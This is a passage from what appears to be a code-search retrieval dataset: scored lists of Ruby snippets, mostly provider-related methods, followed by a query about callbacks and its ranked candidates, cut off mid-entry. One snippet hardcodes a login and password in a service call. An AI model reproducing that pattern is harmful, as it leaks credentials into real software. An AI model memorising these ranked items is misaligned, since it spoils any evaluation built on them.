"text": "def set_provider\r\n @provider = Provider.find(params[:id])\r\n end",
"title": ""
},
{
"docid": "a04dae4fc595a2a24403d8a1dee119c4",
"score": "0.6083926",
"text": "def providify\n newparam(:provider)\n nil\n end",
"title": ""
},
{
"docid": "27c1a042bef30c90486849d5d69a447e",
"score": "0.60802543",
"text": "def set_provider\n @provider = Provider.find(params[:id])\n end",
"title": ""
},
{
"docid": "0b67b5d4bb9f29a647c54a01c589a721",
"score": "0.6072874",
"text": "def providers\n driver(current_driver).providers\n end",
"title": ""
},
{
"docid": "ada91c32ae468b7abc26f4b7fe768cbe",
"score": "0.607033",
"text": "def provider_by_id(provider_id)\n provider_map[provider_id.to_i] if provider_id.to_i > 0\n end",
"title": ""
},
{
"docid": "840d09637bba0237e85a05997431e60e",
"score": "0.60418767",
"text": "def implementer\n provider\n end",
"title": ""
},
{
"docid": "56bc4f83aba3b532a4eb8856accd4ef3",
"score": "0.6038064",
"text": "def resolve_provider\n attributes.fetch(:resolveProvider)\n end",
"title": ""
},
{
"docid": "1495ad1338cc8e1433f5d40150b9b401",
"score": "0.6037748",
"text": "def provider_name=(value)\n @provider_name = value\n end",
"title": ""
},
{
"docid": "a48a208e52d1a30759ef59331f33f2df",
"score": "0.6035857",
"text": "def retrieve\n provider.send(self.class.name)\n end",
"title": ""
},
{
"docid": "69a56df1dbe8ac68542b26b7573c470b",
"score": "0.60274416",
"text": "def provider_class\n @__klass ||= Yeller::Provider.class_of(provider)\n end",
"title": ""
},
{
"docid": "70c3707f402555f06a333f90a743dac2",
"score": "0.6001089",
"text": "def fetch_details\n self.send(\"fetch_details_from_#{self.provider.downcase}\")\n end",
"title": ""
},
{
"docid": "70c3707f402555f06a333f90a743dac2",
"score": "0.6001089",
"text": "def fetch_details\n self.send(\"fetch_details_from_#{self.provider.downcase}\")\n end",
"title": ""
},
{
"docid": "28dbd0c09f3f57fea7a5a82430f0e945",
"score": "0.5990035",
"text": "def available_service_providers\n @providers = ServiceProvider.order(rating: :desc).order(rating_count: :desc)\n end",
"title": ""
},
{
"docid": "cd76d24bec206127a82e79904ee68ad6",
"score": "0.5989121",
"text": "def name\n @provider[:name]\n end",
"title": ""
},
{
"docid": "648a2e2e95e0d0584c24dc8d839ed3f6",
"score": "0.5986206",
"text": "def findProvider(policy)\n if( @provider === \"OpenStack\" )\n @governance = policy.os_governance\n elsif (@provider === \"AWS\")\n @governance = policy.aws_governance\n end\n @cloud_enabled = @governance[\"enabled_cloud\"]\n end",
"title": ""
},
{
"docid": "2126b933d99a1b57f8c46cfd67e6a74e",
"score": "0.5971906",
"text": "def edit\n @connected_providers = current_user.identities.collect{ |identitiy| identitiy.provider }\n super\n end",
"title": ""
},
{
"docid": "808d812bbf9896b5b45a1109ffedd8cd",
"score": "0.59612066",
"text": "def set_provider\n @provider = Provider.find(params[:id])\n end",
"title": ""
},
{
"docid": "808d812bbf9896b5b45a1109ffedd8cd",
"score": "0.59612066",
"text": "def set_provider\n @provider = Provider.find(params[:id])\n end",
"title": ""
},
{
"docid": "808d812bbf9896b5b45a1109ffedd8cd",
"score": "0.59612066",
"text": "def set_provider\n @provider = Provider.find(params[:id])\n end",
"title": ""
},
{
"docid": "808d812bbf9896b5b45a1109ffedd8cd",
"score": "0.59612066",
"text": "def set_provider\n @provider = Provider.find(params[:id])\n end",
"title": ""
},
{
"docid": "808d812bbf9896b5b45a1109ffedd8cd",
"score": "0.59612066",
"text": "def set_provider\n @provider = Provider.find(params[:id])\n end",
"title": ""
},
{
"docid": "808d812bbf9896b5b45a1109ffedd8cd",
"score": "0.59612066",
"text": "def set_provider\n @provider = Provider.find(params[:id])\n end",
"title": ""
},
{
"docid": "808d812bbf9896b5b45a1109ffedd8cd",
"score": "0.59612066",
"text": "def set_provider\n @provider = Provider.find(params[:id])\n end",
"title": ""
},
{
"docid": "344d1cd38a3df64435a017527bc66f9b",
"score": "0.5949202",
"text": "def fetch_details\n\t\tself.send(\"fetch_details_from_#{self.provider.downcase}\")\n\tend",
"title": ""
},
{
"docid": "3945941dc75fc1c899f5e879da60069a",
"score": "0.5943693",
"text": "def provider\n conf['provider'] || 'defaults'\n end",
"title": ""
},
{
"docid": "86365b81409f3ab93d48aa229f9c700e",
"score": "0.5942593",
"text": "def provider_class(provider)\n if provider.to_s =~ /google/\n 'google-plus'\n else\n provider\n end\n end",
"title": ""
},
{
"docid": "7474e6ad03907e0737251e8b24d891a4",
"score": "0.5930852",
"text": "def formats\n providers.keys\n end",
"title": ""
},
{
"docid": "dbdc2d4c79250e26a2b055d17b59894a",
"score": "0.5909539",
"text": "def new\n self.default_provider.new\n end",
"title": ""
},
{
"docid": "5964c68da6da9e3f3bac2504dba315ad",
"score": "0.59074074",
"text": "def test_name_or_provider\n provider = @type.provide(:testing) do\n end\n\n # first make sure we can pass the name in\n resource = nil\n assert_nothing_raised(\"Could not create provider instance by name\") do\n resource = @type.new :name => \"yay\", :provider => :testing\n end\n\n assert_instance_of(provider, resource.provider, \"Did not create provider instance\")\n\n # Now make sure we can pass in an instance\n provinst = provider.new(:name => \"foo\")\n assert_nothing_raised(\"Could not pass in provider instance\") do\n resource = @type.new :name => \"foo\", :provider => provinst\n end\n\n assert_equal(provinst, resource.provider, \"Did not retain provider instance\")\n assert_equal(provider.name, resource[:provider], \"Provider value was set to the provider instead of its name\")\n\n # Now make sure unsuitable provider instances still throw errors\n provider = @type.provide(:badprov) do\n confine :exists => \"/no/such/file\"\n end\n\n # And make sure the provider must be a valid provider type for this resource\n pkgprov = Puppet::Type.type(:package).new(:name => \"yayness\").provider\n assert(provider, \"did not get package provider\")\n\n assert_raise(Puppet::Error, \"Did not fail on invalid provider instance\") do\n resource = @type.new :name => \"bar\", :provider => pkgprov\n end\n\n end",
"title": ""
},
{
"docid": "ade678c213c388bd19b8c6468b2103e4",
"score": "0.5901136",
"text": "def provider\n SwitchUser::Provider.init(self)\n end",
"title": ""
},
{
"docid": "24168c7c3e1bab04d6daf2ee06b3c057",
"score": "0.58868396",
"text": "def cim_gateway\n @provider\n end",
"title": ""
},
{
"docid": "1e15d8072db71655831193eeb5526fc3",
"score": "0.5885934",
"text": "def name(_prefix = false)\n 'Providers'\n end",
"title": ""
},
{
"docid": "5fbedf7e5856a46902da02c6a8a5a109",
"score": "0.58706677",
"text": "def autodetect_selected_provider\n if EcwidPizzeria::Application.config.app.ecwid.order_api_enabled\n params[:provider]\n\n url = \"https://app.ecwid.com/api/v1/#{EcwidPizzeria::Application.config.app.ecwid.shop_id}/orders\"\n api_params = {secure_auth_key: EcwidPizzeria::Application.config.app.ecwid.order_api_key, order: params[:ord]}\n\n response = RestClient.get(url, params: api_params)\n order = JSON.parse(response)['orders'].first\n\n val = order['paymentMethod'].to_s.downcase.strip\n # Try to get customer country code from order\n params[:country_code] ||= order.fetch('billingPerson', {}).fetch('countryCode', nil) || order['customerCountryCodeByIP']\n\n params[:provider] = case val\n when *(EcwidPizzeria::Application.config.banks.enabled + ['estcard', 'paypal'])\n val\n when %r(\\A(makecommerce|maksekeskus)(.*)\\z)\n payment_method = $2.gsub(':', '').strip.parameterize.gsub('-', '_')\n \"makecommerce_#{payment_method}\"\n when %r(\\A(#{EcwidPizzeria::Application.config.banks.enabled.join('|')}*?)\\s(pank|bank)\\z)\n $1\n when 'danskebank', 'dnb', 'danske', 'danske bank', 'danske pank'\n 'sampo'\n end\n end\n rescue\n nil\n end",
"title": ""
},
{
"docid": "4d87a7dbd1dd01fde0203acde6ca5933",
"score": "0.58662486",
"text": "def index\n return provider_locator if params[:type] == 'cc_provider'\n\n facilities\n end",
"title": ""
},
{
"docid": "f50a45dd33b770188a933f6efa2ed303",
"score": "0.58612126",
"text": "def providers\n authentication_strategies.pluck :provider\n end",
"title": ""
},
{
"docid": "bfedc368be81d38ef3fae0ca30d4e645",
"score": "0.5857727",
"text": "def provider\n authorization.provider\n end",
"title": ""
},
{
"docid": "92e9c831ed32a1a2768c7a26ca63862d",
"score": "0.5838356",
"text": "def set_agency_provider\n data = CareerAdvisorWebServices.new(\"admin\",\"nagashri1\").get_code_for_title(params[:id])\n @key = data.present? ? data[0][\"onetsoc_code\"] : '00.000.00'\n\n end",
"title": ""
},
{
"docid": "82628f81a69af77225e7c154da9eadff",
"score": "0.5822647",
"text": "def get_provider_overrides(name)\n (@__provider_overrides[name] || []).map do |p|\n [\"2\", p]\n end\n end",
"title": ""
},
{
"docid": "a910177e37712f8e2dc0b66f5ad4ae34",
"score": "0.5803512",
"text": "def provider_config\n @config[:providers].each do |provider|\n # Convert the symbol from the config into a string for comparison\n return (provider[1].nil? ? {} : provider[1]) if provider[0].to_s == @provider_name\n end\n\n nil\n end",
"title": ""
},
{
"docid": "6fa8e4bba8d45e1bec83de8834bacab1",
"score": "0.5803452",
"text": "def implementation_provider\n attributes.fetch(:implementationProvider)\n end",
"title": ""
},
{
"docid": "31792b9f1e3fa8a4ac460b40e71902cd",
"score": "0.5802597",
"text": "def choose_provider\n settings.provider[\"name\"] = hl.choose do |menu|\n menu.prompt = \"Choose your infrastructure: \"\n menu.choice(\"AWS\") { \"aws\" }\n menu.choice(\"OpenStack\") { \"openstack\" }\n menu.choice(\"vSphere\") { \"vsphere\" }\n end\n save_settings!\n end",
"title": ""
},
{
"docid": "d40e08d3a9af48eeec74831912097fb2",
"score": "0.57943654",
"text": "def provider_items\n @provider_items ||= ProviderItem.find(provider_items_ids)\n end",
"title": ""
},
{
"docid": "6fffae95c7a054ab05fcd8f9a65d0a92",
"score": "0.57888174",
"text": "def initialize(provider)\n @provider = provider\n end",
"title": ""
},
{
"docid": "bea21adb0525d0394a2304c6ea9074a4",
"score": "0.5785985",
"text": "def find_or_create_provider!(attrs)\n provider = Provider.find_by(name: attrs[:name])\n if provider.blank?\n provider = Provider.create!(\n name: attrs[:name],\n firm_agfs_supplier_number: attrs[:firm_agfs_supplier_number],\n api_key: attrs[:api_key],\n provider_type: attrs[:provider_type],\n vat_registered: attrs[:vat_registered],\n roles: attrs[:roles],\n lgfs_supplier_numbers: attrs[:lgfs_supplier_numbers] || []\n )\n end\n provider\n end",
"title": ""
},
{
"docid": "928c8ac9ebec5b0b3bc21db9ff473d55",
"score": "0.57824814",
"text": "def configure_providers(host,vmcfg)\n providers = [ 'virtualbox', 'vmware_fusion' ]\n vmcfg['vm']['gui'] ||= false\n providers.each do |p|\n host.vm.provider p do |pcfg|\n pcfg.gui = true if vmcfg['vm']['gui']\n end\n begin\n send(\"configure_#{p}\",host,vmcfg)\n rescue NoMethodError\n # do nothing\n end\n end\nend",
"title": ""
},
{
"docid": "510b60ed7c416664ec4c34ba209ba980",
"score": "0.57818115",
"text": "def method_missing(name, *args, &blk)\n provider.send(name, *args)\n end",
"title": ""
},
{
"docid": "dba6cba264be1e4cbf90e2399d7e95b7",
"score": "0.5771572",
"text": "def allowServiceProviders\n requires = getRequiresMap\n provides = getProvidesMap(requires.keys)\n requires.each_key do |providerType|\n debug \"working on #{providerType}\"\n clients = requires[providerType]\n servers = provides[providerType]\n if (servers == nil) then\n debug \"#{clients} need service #{providerType} but nobody can give it\"\n else \n debug \"the agents in #{clients} can talk to the agents in #{servers}\"\n clientsName = \"#{providerType}Clients\"\n serversName = \"#{providerType}Servers\"\n declareSet(clientsName, clients)\n declareSet(serversName, servers)\n permit(clientsName, serversName, \"#{providerType}Comm-I\")\n permit(serversName, clientsName, \"#{providerType}Comm-II\")\n end\n end\n end",
"title": ""
},
{
"docid": "bc5cdeaa7a0189e830a06aa94ba7c51a",
"score": "0.5767101",
"text": "def provides(name)\n @providers << name unless @providers.include?(name)\n end",
"title": ""
},
{
"docid": "54fcc958a5bd30b25effffc6cdc96174",
"score": "0.57530844",
"text": "def provider_id\n return @provider_id\n end",
"title": ""
},
{
"docid": "42a1b3db2202adc1d1a9cef7b32dceb2",
"score": "0.5750372",
"text": "def mappings_provider(provider_name, is_legacy = false)\n return nil if provider_name.nil?\n provider = nil\n module_name = is_legacy ? 'Highlander': 'Cfhighlander'\n begin\n providers = Object.const_get(module_name).const_get('MapProviders')\n providers.const_get(provider_name)\n rescue NameError => e\n if e.to_s.include? \"uninitialized constant\"\n return mappings_provider(provider_name, true) unless is_legacy\n return nil\n end\n STDERR.puts(e.to_s)\n raise e\n end\nend",
"title": ""
},
{
"docid": "6de6be84a93ab39ba64f8c750696ae5b",
"score": "0.5744066",
"text": "def rename_provider\n attributes.fetch(:renameProvider)\n end",
"title": ""
},
{
"docid": "979cdb3c9cda58a55198569033bdca8b",
"score": "0.5743116",
"text": "def provider(val=nil)\n if val && !val.is_a?(Class)\n resource_names = [resource_name]\n # If subclass_providers! might be in play, check for those names too.\n resource_names.concat(self.class.subclass_resource_equivalents) if self.class.respond_to?(:subclass_resource_equivalents)\n # Silly ruby tricks to find the first provider that exists and no more.\n provider_class = resource_names.lazy.map {|name| Poise::Helpers::Inversion.provider_for(name, node, val) }.select {|x| x }.first\n Poise.debug(\"[#{self}] Checking for an inversion provider for #{val}: #{provider_class && provider_class.name}\")\n val = provider_class if provider_class\n end\n super\n end",
"title": ""
},
{
"docid": "d08179c7e2dcb8ab6dfbd66eb84013b1",
"score": "0.57429314",
"text": "def provider_name=(provider)\n unless provider.nil?\n @provider_name = provider.downcase\n end\n end",
"title": ""
},
{
"docid": "2e235f699affb8632487924738d56910",
"score": "0.5730344",
"text": "def providers\n @providers ||= load_hash 'config/providers.yml'\n end",
"title": ""
},
{
"docid": "6381e6ca599187cc850b9f6151c47775",
"score": "0.5729097",
"text": "def whitelist_providers\n [:new_school_ldap, :twitter, :nyu_shibboleth, :aleph]\n end",
"title": ""
},
{
"docid": "fb0858b678d1719c6cc5bbe379d5da26",
"score": "0.5719356",
"text": "def cleanup_provider(provider)\n lookups = {}\n Souffle::Provider.constants.each { |k| lookups[k.to_s.downcase] = k.to_s }\n lookups.fetch([provider.downcase], provider)\n end",
"title": ""
},
{
"docid": "6668e0cfc8ceb295e13f2e083f30e8c3",
"score": "0.5698341",
"text": "def alternative_names\n auth_providers.map do |ap|\n { provider: ap.provider, name: \"#{ap.uname} (#{ap.provider})\" }\n end\n end",
"title": ""
},
{
"docid": "5bb29ee9fa9599efdc81c3cd9c47c9a0",
"score": "0.5672494",
"text": "def dataProviderCheck()\n\n logger.debug \"#{self.class.to_s}:#{__method__}: #{__LINE__}: DataProviderCheck\"\n\n dataProviderInit\n\n check = @fileCheck.() if @useFileProvider\n check = @esbCheck.() if @useEsbProvider\n\n logIfUnavailable(check, \"verify the check url configuration\")\n\n check\n end",
"title": ""
}
] |
f74c29bdfc4a183e1ec1b91334cd5be2 | Use callbacks to share common setup or constraints between actions. | [
{
"docid": "a90fda2ff2c6350d8c70644572d08984",
"score": "0.0",
"text": "def set_lecture\n @lecture = Lecture.find(params[:id])\n end",
"title": ""
}
] | [
{
"docid": "631f4c5b12b423b76503e18a9a606ec3",
"score": "0.60339177",
"text": "def process_action(...)\n run_callbacks(:process_action) do\n super\n end\n end",
"title": ""
},
{
"docid": "7b068b9055c4e7643d4910e8e694ecdc",
"score": "0.60135007",
"text": "def on_setup_callbacks; end",
"title": ""
},
{
"docid": "311e95e92009c313c8afd74317018994",
"score": "0.59219855",
"text": "def setup_actions\n domain = @apps.domain\n path_user = '/a/feeds/'+domain+'/user/2.0'\n path_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n path_email_list = '/a/feeds/'+domain+'/emailList/2.0'\n path_group = '/a/feeds/group/2.0/'+domain\n\n @apps.register_action(:domain_login, {:method => 'POST', :path => '/accounts/ClientLogin' })\n @apps.register_action(:user_create, { :method => 'POST', :path => path_user })\n @apps.register_action(:user_retrieve, { :method => 'GET', :path => path_user+'/' })\n @apps.register_action(:user_retrieve_all, { :method => 'GET', :path => path_user })\n @apps.register_action(:user_update, { :method => 'PUT', :path => path_user +'/' })\n @apps.register_action(:user_delete, { :method => 'DELETE', :path => path_user +'/' })\n @apps.register_action(:nickname_create, { :method => 'POST', :path =>path_nickname })\n @apps.register_action(:nickname_retrieve, { :method => 'GET', :path =>path_nickname+'/' })\n @apps.register_action(:nickname_retrieve_all_for_user, { :method => 'GET', :path =>path_nickname+'?username=' })\n @apps.register_action(:nickname_retrieve_all_in_domain, { :method => 'GET', :path =>path_nickname })\n @apps.register_action(:nickname_delete, { :method => 'DELETE', :path =>path_nickname+'/' })\n @apps.register_action(:group_create, { :method => 'POST', :path => path_group })\n @apps.register_action(:group_update, { :method => 'PUT', :path => path_group })\n @apps.register_action(:group_retrieve, { :method => 'GET', :path => path_group })\n @apps.register_action(:group_delete, { :method => 'DELETE', :path => path_group })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>'' })\n end",
"title": ""
},
{
"docid": "8315debee821f8bfc9718d31b654d2de",
"score": "0.5913137",
"text": "def initialize(*args)\n super\n @action = :setup\nend",
"title": ""
},
{
"docid": "8315debee821f8bfc9718d31b654d2de",
"score": "0.5913137",
"text": "def initialize(*args)\n super\n @action = :setup\nend",
"title": ""
},
{
"docid": "bfea4d21895187a799525503ef403d16",
"score": "0.589884",
"text": "def define_action_helpers\n super\n define_validation_hook if runs_validations_on_action?\n end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "352de4abc4d2d9a1df203735ef5f0b86",
"score": "0.5889191",
"text": "def required_action\n # TODO: implement\n end",
"title": ""
},
{
"docid": "8713cb2364ff3f2018b0d52ab32dbf37",
"score": "0.58780754",
"text": "def define_action_helpers\n if action == :save\n if super(:create_or_update)\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n else\n super\n end\n end",
"title": ""
},
{
"docid": "a80b33627067efa06c6204bee0f5890e",
"score": "0.5863248",
"text": "def actions\n\n end",
"title": ""
},
{
"docid": "930a930e57ae15f432a627a277647f2e",
"score": "0.58094144",
"text": "def setup_actions\n domain = @apps.domain\n path_base = '/a/feeds/emailsettings/2.0/'+domain+'/'\n\n @apps.register_action(:create_label, {:method => 'POST', :path => path_base })\n @apps.register_action(:create_filter, { :method => 'POST', :path => path_base })\n @apps.register_action(:create_send_as, { :method => 'POST', :path => path_base })\n @apps.register_action(:update_webclip, { :method => 'PUT', :path => path_base })\n @apps.register_action(:update_forward, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_pop, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_imap, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_vacation, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_signature, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_language, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_general, { :method => 'PUT', :path =>path_base })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>nil })\n end",
"title": ""
},
{
"docid": "33ff963edc7c4c98d1b90e341e7c5d61",
"score": "0.57375425",
"text": "def setup\n common_setup\n end",
"title": ""
},
{
"docid": "a5ca4679d7b3eab70d3386a5dbaf27e1",
"score": "0.57285565",
"text": "def perform_setup\n end",
"title": ""
},
{
"docid": "ec7554018a9b404d942fc0a910ed95d9",
"score": "0.57149214",
"text": "def before_setup(&block)\n pre_setup_actions.unshift block\n end",
"title": ""
},
{
"docid": "9c186951c13b270d232086de9c19c45b",
"score": "0.5703237",
"text": "def callbacks; end",
"title": ""
},
{
"docid": "c85b0efcd2c46a181a229078d8efb4de",
"score": "0.56900954",
"text": "def custom_setup\n\n end",
"title": ""
},
{
"docid": "100180fa74cf156333d506496717f587",
"score": "0.56665677",
"text": "def do_setup\n\t\tget_validation\n\t\tprocess_options\n\tend",
"title": ""
},
{
"docid": "2198a9876a6ec535e7dcf0fd476b092f",
"score": "0.5651118",
"text": "def initial_action; end",
"title": ""
},
{
"docid": "b9b75a9e2eab9d7629c38782c0f3b40b",
"score": "0.5648135",
"text": "def setup_intent; end",
"title": ""
},
{
"docid": "471d64903a08e207b57689c9fbae0cf9",
"score": "0.56357735",
"text": "def setup_controllers &proc\n @global_setup = proc\n self\n end",
"title": ""
},
{
"docid": "468d85305e6de5748477545f889925a7",
"score": "0.5627078",
"text": "def inner_action; end",
"title": ""
},
{
"docid": "bb445e7cc46faa4197184b08218d1c6d",
"score": "0.5608873",
"text": "def pre_action\n # Override this if necessary.\n end",
"title": ""
},
{
"docid": "432f1678bb85edabcf1f6d7150009703",
"score": "0.5598699",
"text": "def target_callbacks() = commands",
"title": ""
},
{
"docid": "48804b0fa534b64e7885b90cf11bff31",
"score": "0.5598419",
"text": "def execute_callbacks; end",
"title": ""
},
{
"docid": "5aab98e3f069a87e5ebe77b170eab5b9",
"score": "0.5589822",
"text": "def api_action!(*args)\n type = self.class.name.split(\"::\").last.downcase\n run_callbacks_for([\"before_#{type}\", :before], *args)\n result = nil\n begin\n result = yield if block_given?\n run_callbacks_for([\"after_#{type}\", :after], *args)\n result\n rescue => err\n run_callbacks_for([\"failed_#{type}\", :failed], *(args + [err]))\n raise\n end\n end",
"title": ""
},
{
"docid": "9efbca664902d80a451ef6cff0334fe2",
"score": "0.5558845",
"text": "def global_callbacks; end",
"title": ""
},
{
"docid": "9efbca664902d80a451ef6cff0334fe2",
"score": "0.5558845",
"text": "def global_callbacks; end",
"title": ""
},
{
"docid": "482481e8cf2720193f1cdcf32ad1c31c",
"score": "0.55084664",
"text": "def required_keys(action)\n\n end",
"title": ""
},
{
"docid": "353fd7d7cf28caafe16d2234bfbd3d16",
"score": "0.5504379",
"text": "def assign_default_callbacks(action_name, is_member=false)\n if ResourceController::DEFAULT_ACTIONS.include?(action_name)\n DefaultActions.send(action_name, self)\n elsif is_member\n send(action_name).build { load_object }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => object }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { render :xml => object.errors }\n else\n send(action_name).build { load_collection }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => collection }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { head 500 }\n end\n end",
"title": ""
},
{
"docid": "dcf95c552669536111d95309d8f4aafd",
"score": "0.5465574",
"text": "def layout_actions\n \n end",
"title": ""
},
{
"docid": "2f6ef0a1ebe74f4d79ef0fb81af59d40",
"score": "0.5464707",
"text": "def on_setup(&block); end",
"title": ""
},
{
"docid": "8ab2a5ea108f779c746016b6f4a7c4a8",
"score": "0.54471064",
"text": "def testCase_001\n test_case_title # fw3_actions.rb\n setup # fw3_global_methods.rb\n \n get_page_url # fw3_actions.rb\n validate_page_title # fw3_actions.rb\n validate_page_link_set # fw3_actions.rb\n \n teardown # fw3_global_methods.rb\nend",
"title": ""
},
{
"docid": "e3aadf41537d03bd18cf63a3653e05aa",
"score": "0.54455084",
"text": "def before(action)\n invoke_callbacks *options_for(action).before\n end",
"title": ""
},
{
"docid": "6bd37bc223849096c6ea81aeb34c207e",
"score": "0.5437386",
"text": "def post_setup\n end",
"title": ""
},
{
"docid": "07fd9aded4aa07cbbba2a60fda726efe",
"score": "0.54160327",
"text": "def testCase_001\n testTitle # fw2_actions.rb\n setup # fw2_global_methods.rb\n get_page_url # fw2_actions.rb\n validate_title # fw2_actions.rb\n teardown # fw2_global_methods.rb\nend",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411113",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411113",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "9358208395c0869021020ae39071eccd",
"score": "0.5397424",
"text": "def post_setup; end",
"title": ""
},
{
"docid": "cb5bad618fb39e01c8ba64257531d610",
"score": "0.5392518",
"text": "def define_model_action(methods,action,default_options={:validate => true})\n default_options.merge!(methods.extract_options!)\n actions = [action,\"#{action}!\".to_sym]\n actions.each do |a|\n define_method(a) do |opts = {}|\n rslt = nil\n options = default_options.merge(opts)\n options[:raise_exception] = a.to_s.match(/\\!$/)\n run_callbacks(action) do\n rslt = run_model_action(methods,options)\n end\n run_after_any\n rslt\n end\n end\n end",
"title": ""
},
{
"docid": "c5904f93614d08afa38cc3f05f0d2365",
"score": "0.5391541",
"text": "def before_setup; end",
"title": ""
},
{
"docid": "c5904f93614d08afa38cc3f05f0d2365",
"score": "0.5391541",
"text": "def before_setup; end",
"title": ""
},
{
"docid": "a468b256a999961df3957e843fd9bdf4",
"score": "0.5385411",
"text": "def _setup\n setup_notification_categories\n setup_intelligent_segments\n end",
"title": ""
},
{
"docid": "f099a8475f369ce73a38d665b6ee6877",
"score": "0.53794575",
"text": "def action_run\n end",
"title": ""
},
{
"docid": "2c4e5a90aa8efaaa3ed953818a9b30d2",
"score": "0.5357573",
"text": "def execute(setup)\n @action.call(setup)\n end",
"title": ""
},
{
"docid": "118932433a8cfef23bb8a921745d6d37",
"score": "0.53487605",
"text": "def register_action(action); end",
"title": ""
},
{
"docid": "725216eb875e8fa116cd55eac7917421",
"score": "0.5346655",
"text": "def setup\n @controller.setup\n end",
"title": ""
},
{
"docid": "39c39d6fe940796aadbeaef0ce1c360b",
"score": "0.53448105",
"text": "def setup_phase; end",
"title": ""
},
{
"docid": "bd03e961c8be41f20d057972c496018c",
"score": "0.5342072",
"text": "def post_setup\n controller.each do |name,ctrl|\n ctrl.post_setup\n end\n end",
"title": ""
},
{
"docid": "c6352e6eaf17cda8c9d2763f0fbfd99d",
"score": "0.5341318",
"text": "def initial_action=(_arg0); end",
"title": ""
},
{
"docid": "207a668c9bce9906f5ec79b75b4d8ad7",
"score": "0.53243506",
"text": "def before_setup\n\n end",
"title": ""
},
{
"docid": "669ee5153c4dc8ee81ff32c4cefdd088",
"score": "0.53025913",
"text": "def ensure_before_and_after; end",
"title": ""
},
{
"docid": "c77ece7b01773fb7f9f9c0f1e8c70332",
"score": "0.5283114",
"text": "def setup!\n adding_handlers do\n check_arity\n apply_casting\n check_validation\n end\n end",
"title": ""
},
{
"docid": "1e1e48767a7ac23eb33df770784fec61",
"score": "0.5282289",
"text": "def set_minimum_up_member_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"title": ""
},
{
"docid": "4ad1208a9b6d80ab0dd5dccf8157af63",
"score": "0.52585614",
"text": "def rails_controller_callbacks(&block)\n rails_controller_instance.run_callbacks(:process_action, &block)\n end",
"title": ""
},
{
"docid": "63a9fc1fb0dc1a7d76ebb63a61ed24d7",
"score": "0.52571374",
"text": "def define_callbacks(*args)\n if abstract_class\n all_shards.each do |model|\n model.define_callbacks(*args)\n end\n end\n\n super\n end",
"title": ""
},
{
"docid": "fc88422a7a885bac1df28883547362a7",
"score": "0.52483684",
"text": "def pre_setup_actions\n @@pre_setup_actions ||= []\n end",
"title": ""
},
{
"docid": "8945e9135e140a6ae6db8d7c3490a645",
"score": "0.5244467",
"text": "def action_awareness\n if action_aware?\n if !@options.key?(:allow_nil)\n if @required\n @allow_nil = false\n else\n @allow_nil = true\n end\n end\n if as_action != \"create\"\n @required = false\n end\n end\n end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "7b3954deb2995cf68646c7333c15087b",
"score": "0.5236853",
"text": "def after_setup\n end",
"title": ""
},
{
"docid": "1dddf3ac307b09142d0ad9ebc9c4dba9",
"score": "0.52330637",
"text": "def external_action\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "5772d1543808c2752c186db7ce2c2ad5",
"score": "0.52300817",
"text": "def actions(state:)\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "64a6d16e05dd7087024d5170f58dfeae",
"score": "0.522413",
"text": "def setup_actions(domain)\n\t\t\tpath_user = '/a/feeds/'+domain+'/user/2.0'\n\t\t\tpath_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n\t\t\tpath_group = '/a/feeds/group/2.0/'+domain # path for Google groups\n\n\t\t\taction = Hash.new\n\t\t\taction[:domain_login] = {:method => 'POST', :path => '/accounts/ClientLogin' }\n\t\t\taction[:user_create] = { :method => 'POST', :path => path_user }\n\t\t\taction[:user_retrieve] = { :method => 'GET', :path => path_user+'/' }\n\t\t\taction[:user_retrieve_all] = { :method => 'GET', :path => path_user } \n\t\t\taction[:user_update] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_rename] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_delete] = { :method => 'DELETE', :path => path_user +'/' }\n\t\t\taction[:nickname_create] = { :method => 'POST', :path =>path_nickname }\n\t\t\taction[:nickname_retrieve] = { :method => 'GET', :path =>path_nickname+'/' }\n\t\t\taction[:nickname_retrieve_all_for_user] = { :method => 'GET', :path =>path_nickname+'?username=' }\n\t\t\taction[:nickname_retrieve_all_in_domain] = { :method => 'GET', :path =>path_nickname }\n\t\t\taction[:nickname_delete] = { :method => 'DELETE', :path =>path_nickname+'/' }\n\t\t\taction[:group_create] = { :method => 'POST', :path =>path_group }\n\t\t\taction[:group_update] = { :method => 'PUT', :path =>path_group+'/' }\n\t\t\taction[:group_delete] = { :method => 'DELETE', :path =>path_group+'/' 